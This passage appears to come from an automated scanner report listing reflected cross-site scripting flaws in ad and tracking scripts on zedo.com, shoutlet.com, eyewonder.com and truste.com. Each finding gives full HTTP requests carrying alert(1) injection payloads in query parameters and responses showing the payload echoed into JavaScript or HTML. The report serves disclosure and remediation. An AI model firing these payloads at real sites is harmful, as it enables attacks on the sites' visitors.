Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968:305,4479#945899|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1:0,18,1;expires=Thu, 09 Jun 2011 13:25:29 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=394
Expires: Tue, 10 May 2011 13:32:03 GMT
Date: Tue, 10 May 2011 13:25:29 GMT
Connection: close
Content-Length: 7324

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat='d3bf9";alert(1)//4cd96356fd9';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=d3bf9";alert(1)//4cd96356fd9;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd=undefined;

var zzDate = new Date()
...[SNIP]...

4.150. http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fmr.js

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 926f6'%3balert(1)//c32c0047912 was submitted in the q parameter. This input was echoed as 926f6';alert(1)//c32c0047912 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fmr.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=926f6'%3balert(1)//c32c0047912&$=&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968:305,4479#945899|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1:0,18,1;expires=Thu, 09 Jun 2011 13:25:30 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=393
Expires: Tue, 10 May 2011 13:32:03 GMT
Date: Tue, 10 May 2011 13:25:30 GMT
Connection: close
Content-Length: 7324

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat='926f6';alert(1)//c32c0047912';var zzCustom='';var zzTitle='';
if(typeof zzStr=='undefined'){
var zzStr="q=926f6';alert(1)//c32c0047912;z="+Math.random();}

if(zzuid=='unknown')zzuid='5ajh4goBADQAAFjiiCYAAABN~042311';

var zzhasAd
...[SNIP]...

4.151. http://cdn.shoutlet.com/service/shoutletshare/worker [loc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.shoutlet.com
Path:	/service/shoutletshare/worker

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7476f'%3balert(1)//0727430d645 was submitted in the loc parameter. This input was echoed as 7476f';alert(1)//0727430d645 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /service/shoutletshare/worker?w=29109&sid=0&rid=0&loc=http%3A%2F%2Fricksantorum.com%2Fexplore%2F7476f'%3balert(1)//0727430d645 HTTP/1.1
Host: cdn.shoutlet.com
Proxy-Connection: keep-alive
Referer: http://ricksantorum.com/explore/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:17:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Content-Type: application/javascript
Connection: close

////
function ShoutletShare1963722948 () {

   var _origOverflow;
   var _initialized = false;

   var _id = "1963722948";//Math.floor( Math.random() * 1000000000 );

   var _backdropID;
   var _contentID;
   var
...[SNIP]...
document.body.offsetHeight;
           }
           return yWithScroll;
       }
   };
}
//
//
//autorun
var shoutlet1963722948 = new ShoutletShare1963722948();
//
shoutlet1963722948.loc( 'http://ricksantorum.com/explore/7476f';alert(1)//0727430d645' );

shoutlet1963722948.run();

//

4.152. http://cdn4.eyewonder.com/cm/js/10295-119241-10420-6 [mpt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn4.eyewonder.com
Path:	/cm/js/10295-119241-10420-6

Issue detail

The value of the mpt request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5c00"-alert(1)-"6b65afcf0a7 was submitted in the mpt parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /cm/js/10295-119241-10420-6?mpt=4882799c5c00"-alert(1)-"6b65afcf0a7&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/l%3B236277790%3B1-0%3B1%3B55271859%3B3454-728/90%3B41023498/41041285/1%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%7Eokv%3D%3Bnet%3Dns%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%3Bppos%3Datf%3Bkw%3D%3Btile%3D2%3Bcmw%3Dnurl%3Bsz%3D728x90%3Bnet%3Dns%3Bord1%3D877377%3Bcontx%3Ditdeweb%3Bdc%3Dw%3Bbtg%3Dns.i7kt%3Bbtg%3Ddx.16%3Bbtg%3Ddx.23%3Bbtg%3Ddx.17%3Bbtg%3Dmm.ag1%3Bbtg%3Dmm.ak1%3Bbtg%3Dmm.am1%3Bbtg%3Dmm.aq1%3B%7Eaopt%3D3/1/ff/1%3B%7Esscs%3D%3f HTTP/1.1
Host: cdn4.eyewonder.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=46431933753; mojo3=10295:2568/17671:21707; ew=MDAwMTMwMzI5NzI0Mzk0MDAwMTY0MzU2OTBfMTMwNDcxMDMxMjI4MV8xMF9fXzA; ewroi=""

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:40:54 GMT
Server: Apache
Last-Modified: Thu, 03 Mar 2011 21:08:36 GMT
ETag: "788239-2ff-49d9a6ec87d00"
Accept-Ranges: bytes
Content-Length: 2522
Content-Type: application/x-javascript

var failclickTag_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/41041285/1;u=,ns-55630869_1305033292,11f8f328940989e,itdeweb,ns.i7kt-dx.16-d
...[SNIP]...
d1=877377;contx=itdeweb;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;~aopt=3/1/ff/1;~sscs=?http://cdn4.eyewonder.com/cm/ck/10295-119241-10420-6?mpt=4882799c5c00"-alert(1)-"6b65afcf0a7&7079203=0";
var clickTag1_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/41041285/1;u=,ns-55630869_1305033292,11f8f328940989e,itdeweb,ns.i7k
...[SNIP]...

4.153. http://cdn4.eyewonder.com/cm/js/10295-119241-10420-6 [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn4.eyewonder.com
Path:	/cm/js/10295-119241-10420-6

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed254"%3balert(1)//a8abea087be was submitted in the mpvc parameter. This input was echoed as ed254";alert(1)//a8abea087be in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Request

GET /cm/js/10295-119241-10420-6?mpt=4882799&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/l%3B236277790%3B1-0%3B1%3B55271859%3B3454-728/90%3B41023498/41041285/1%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%7Eokv%3D%3Bnet%3Dns%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%3Bppos%3Datf%3Bkw%3D%3Btile%3D2%3Bcmw%3Dnurl%3Bsz%3D728x90%3Bnet%3Dns%3Bord1%3D877377%3Bcontx%3Ditdeweb%3Bdc%3Dw%3Bbtg%3Dns.i7kt%3Bbtg%3Ddx.16%3Bbtg%3Ddx.23%3Bbtg%3Ddx.17%3Bbtg%3Dmm.ag1%3Bbtg%3Dmm.ak1%3Bbtg%3Dmm.am1%3Bbtg%3Dmm.aq1%3B%7Eaopt%3D3/1/ff/1%3B%7Esscs%3D%3fed254"%3balert(1)//a8abea087be HTTP/1.1
Host: cdn4.eyewonder.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=46431933753; mojo3=10295:2568/17671:21707; ew=MDAwMTMwMzI5NzI0Mzk0MDAwMTY0MzU2OTBfMTMwNDcxMDMxMjI4MV8xMF9fXzA; ewroi=""

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:42:18 GMT
Server: Apache
Last-Modified: Thu, 03 Mar 2011 21:08:36 GMT
ETag: "788239-2ff-49d9a6ec87d00"
Accept-Ranges: bytes
Content-Length: 2522
Content-Type: application/x-javascript

var failclickTag_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/41041285/1;u=,ns-55630869_1305033292,11f8f328940989e,itdeweb,ns.i7kt-dx.16-d
...[SNIP]...
-mm.am1-mm.aq1;;ppos=atf;kw=;tile=2;cmw=nurl;sz=728x90;net=ns;ord1=877377;contx=itdeweb;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;~aopt=3/1/ff/1;~sscs=?ed254";alert(1)//a8abea087behttp://cdn4.eyewonder.com/cm/ck/10295-119241-10420-6?mpt=4882799&7079203=0";
var clickTag1_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/410
...[SNIP]...

4.154. http://cdn4.eyewonder.com/content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn4.eyewonder.com
Path:	/content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js

Issue detail

The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96321"%3balert(1)//d3d9b9fd019 was submitted in the mpck parameter. This input was echoed as 96321";alert(1)//d3d9b9fd019 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js?mpck=cdn4.eyewonder.com%2Fcm%2Fck%2F10295-119241-10420-6%3Fmpt%3D488279996321"%3balert(1)//d3d9b9fd019&mpt=4882799&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/l%3B236277790%3B1-0%3B1%3B55271859%3B3454-728/90%3B41023498/41041285/1%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%7Eokv%3D%3Bnet%3Dns%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%3Bppos%3Datf%3Bkw%3D%3Btile%3D2%3Bcmw%3Dnurl%3Bsz%3D728x90%3Bnet%3Dns%3Bord1%3D877377%3Bcontx%3Ditdeweb%3Bdc%3Dw%3Bbtg%3Dns.i7kt%3Bbtg%3Ddx.16%3Bbtg%3Ddx.23%3Bbtg%3Ddx.17%3Bbtg%3Dmm.ag1%3Bbtg%3Dmm.ak1%3Bbtg%3Dmm.am1%3Bbtg%3Dmm.aq1%3B%7Eaopt%3D3/1/ff/1%3B%7Esscs%3D%3f HTTP/1.1
Host: cdn4.eyewonder.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=46431933753; ew=MDAwMTMwMzI5NzI0Mzk0MDAwMTY0MzU2OTBfMTMwNDcxMDMxMjI4MV8xMF9fXzA; ewroi=""; mojo3=10295:10420/17671:21707

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:40:40 GMT
Server: Apache
Last-Modified: Thu, 03 Mar 2011 21:08:36 GMT
ETag: "788239-2ff-49d9a6ec87d00"
Accept-Ranges: bytes
Content-Length: 2522
Content-Type: application/x-javascript

var failclickTag_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/41041285/1;u=,ns-55630869_1305033292,11f8f328940989e,itdeweb,ns.i7kt-dx.16-d
...[SNIP]...
d1=877377;contx=itdeweb;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;~aopt=3/1/ff/1;~sscs=?http://cdn4.eyewonder.com/cm/ck/10295-119241-10420-6?mpt=488279996321";alert(1)//d3d9b9fd019&7079203=0";
var clickTag1_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/41041285/1;u=,ns-55630869_1305033292,11f8f328940989e,itdeweb,ns.i7k
...[SNIP]...

4.155. http://cdn4.eyewonder.com/content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn4.eyewonder.com
Path:	/content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2d76"%3balert(1)//c9b14239b4d was submitted in the mpvc parameter. This input was echoed as e2d76";alert(1)//c9b14239b4d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/10295/119241/NetShelternet-728-90-ATM_COVERAGE_728x90_v1_r1-Banner-1438824.js?mpck=cdn4.eyewonder.com%2Fcm%2Fck%2F10295-119241-10420-6%3Fmpt%3D4882799&mpt=4882799&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b03/3/0/%2a/l%3B236277790%3B1-0%3B1%3B55271859%3B3454-728/90%3B41023498/41041285/1%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%7Eokv%3D%3Bnet%3Dns%3Bu%3D%2Cns-55630869_1305033292%2C11f8f328940989e%2Citdeweb%2Cns.i7kt-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1%3B%3Bppos%3Datf%3Bkw%3D%3Btile%3D2%3Bcmw%3Dnurl%3Bsz%3D728x90%3Bnet%3Dns%3Bord1%3D877377%3Bcontx%3Ditdeweb%3Bdc%3Dw%3Bbtg%3Dns.i7kt%3Bbtg%3Ddx.16%3Bbtg%3Ddx.23%3Bbtg%3Ddx.17%3Bbtg%3Dmm.ag1%3Bbtg%3Dmm.ak1%3Bbtg%3Dmm.am1%3Bbtg%3Dmm.aq1%3B%7Eaopt%3D3/1/ff/1%3B%7Esscs%3D%3fe2d76"%3balert(1)//c9b14239b4d HTTP/1.1
Host: cdn4.eyewonder.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=46431933753; ew=MDAwMTMwMzI5NzI0Mzk0MDAwMTY0MzU2OTBfMTMwNDcxMDMxMjI4MV8xMF9fXzA; ewroi=""; mojo3=10295:10420/17671:21707

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:41:44 GMT
Server: Apache
Last-Modified: Thu, 03 Mar 2011 21:08:36 GMT
ETag: "788239-2ff-49d9a6ec87d00"
Accept-Ranges: bytes
Content-Length: 2522
Content-Type: application/x-javascript

var failclickTag_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/41041285/1;u=,ns-55630869_1305033292,11f8f328940989e,itdeweb,ns.i7kt-dx.16-d
...[SNIP]...
-mm.am1-mm.aq1;;ppos=atf;kw=;tile=2;cmw=nurl;sz=728x90;net=ns;ord1=877377;contx=itdeweb;dc=w;btg=ns.i7kt;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;~aopt=3/1/ff/1;~sscs=?e2d76";alert(1)//c9b14239b4dhttp://cdn4.eyewonder.com/cm/ck/10295-119241-10420-6?mpt=4882799&7079203=0";
var clickTag1_1438824 = "http://ad.doubleclick.net/click;h=v8/3b03/3/0/*/l;236277790;1-0;1;55271859;3454-728/90;41023498/410
...[SNIP]...

4.156. http://choices.truste.com/ca [c parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://choices.truste.com
Path:	/ca

Issue detail

The value of the c request parameter is copied into the HTML document as plain text between tags. The payload 33e01<script>alert(1)</script>53219dbb25e was submitted in the c parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ca?pid=mec01&aid=att01&cid=0311m300x250&c=att01cont133e01<script>alert(1)</script>53219dbb25e&w=300&h=250&zi=10002&plc=tr HTTP/1.1
Host: choices.truste.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3201252381583585&format=300x250_as&output=html&h=250&w=300&lmt=1305051260&channel=2292982637&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fwww.slashgear.com%2Fforum%2Fads%2Frandom300.php&color_bg=F9F9F9&color_border=DCDBDB&color_link=1293C3&color_text=333333&color_url=1293C3&flash=10.2.154&url=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F&dt=1305033259918&bpp=9&shv=r20110427&jsv=r20110427&correlator=1305033260367&frm=0&adk=1474765680&ga_vid=1870217474.1305033260&ga_sid=1305033260&ga_hid=1163693420&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=45&biw=1050&bih=967&fu=0&ifi=1&dtd=471&xpc=AT7d8d2BBa&p=http%3A//www.slashgear.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:35:14 GMT
Server: Apache/2.2.14 (Ubuntu)
P3P: policyref="http://choices.truste.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM"
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/javascript
Content-Length: 4471

if (typeof truste == "undefined" || !truste) {
   var truste= {};
   truste.ca= {};
   truste.ca.listeners = {};
   truste.img = new Image(1,1);
   truste.defjsload = false;

   truste.ca.txl = {
       'object' : [{'
...[SNIP]...
baseName] = bindings;
   }
}

   // prototypes
   String.prototype.equalsIgnoreCase = function(arg) {
       return (new String(this.toLowerCase()) == (new String(arg)).toLowerCase());
   }

   var te_clr1_att01cont133e01<script>alert(1)</script>53219dbb25e_ib = '<div id="te-clr1-att01cont133e01<script>
...[SNIP]...

4.157. http://choices.truste.com/ca [h parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://choices.truste.com
Path:	/ca

Issue detail

The value of the h request parameter is copied into the HTML document as plain text between tags. The payload 67ba4<script>alert(1)</script>b04f322e0a0 was submitted in the h parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ca?pid=mec01&aid=att01&cid=0311m300x250&c=att01cont1&w=300&h=25067ba4<script>alert(1)</script>b04f322e0a0&zi=10002&plc=tr HTTP/1.1
Host: choices.truste.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3201252381583585&format=300x250_as&output=html&h=250&w=300&lmt=1305051260&channel=2292982637&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fwww.slashgear.com%2Fforum%2Fads%2Frandom300.php&color_bg=F9F9F9&color_border=DCDBDB&color_link=1293C3&color_text=333333&color_url=1293C3&flash=10.2.154&url=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F&dt=1305033259918&bpp=9&shv=r20110427&jsv=r20110427&correlator=1305033260367&frm=0&adk=1474765680&ga_vid=1870217474.1305033260&ga_sid=1305033260&ga_hid=1163693420&ga_fc=0&u_tz=-300&u_his=1&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=45&biw=1050&bih=967&fu=0&ifi=1&dtd=471&xpc=AT7d8d2BBa&p=http%3A//www.slashgear.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:35:15 GMT
Server: Apache/2.2.14 (Ubuntu)
P3P: policyref="http://choices.truste.com/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMo DEVo TAIo PSAo PSDo OUR DELo BUS IND UNI PUR COM NAV INT DEM"
Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Type: text/javascript
Content-Length: 4120

if (typeof truste == "undefined" || !truste) {
   var truste= {};
   truste.ca= {};
   truste.ca.listeners = {};
   truste.img = new Image(1,1);
   truste.defjsload = false;

   truste.ca.txl = {
       'object' : [{'
...[SNIP]...
</div> \
\
';

   var te_clr1_att01cont1_bi = {'baseName':'te-clr1-att01cont1','anchName':'te-clr1-att01cont1-anch','width':300,'height':25067ba4<script>alert(1)</script>b04f322e0a0,'ox':0,'oy':0,'plc':'tr','iplc':'rel','intDivName':'te-clr1-att01cont1-itl','iconSpanId':'te-clr1-att01cont1-icon','backgroundColor':'white','opacity':.8,'filterOpacity':80,'containerId':'att01cont1',
...[SNIP]...

4.158. http://choices.truste.com/ca [plc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://choices.truste.com
Path:	/ca

Issue detail

The value of the plc request parameter is copied into the HTML document as plain text between tags. The payload eae4b<script>alert(1)</script>8a87a0f0875 was submitted in the plc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ca?pid=mec01&aid=att01&cid=0311m300x250&c=att01cont1&w=300&h=250&zi=10002&plc=treae4b<script>alert(1)</script>8a87a0f0875 HTTP/1.1
Host: choices.truste.com
Proxy-Connection: keep-alive
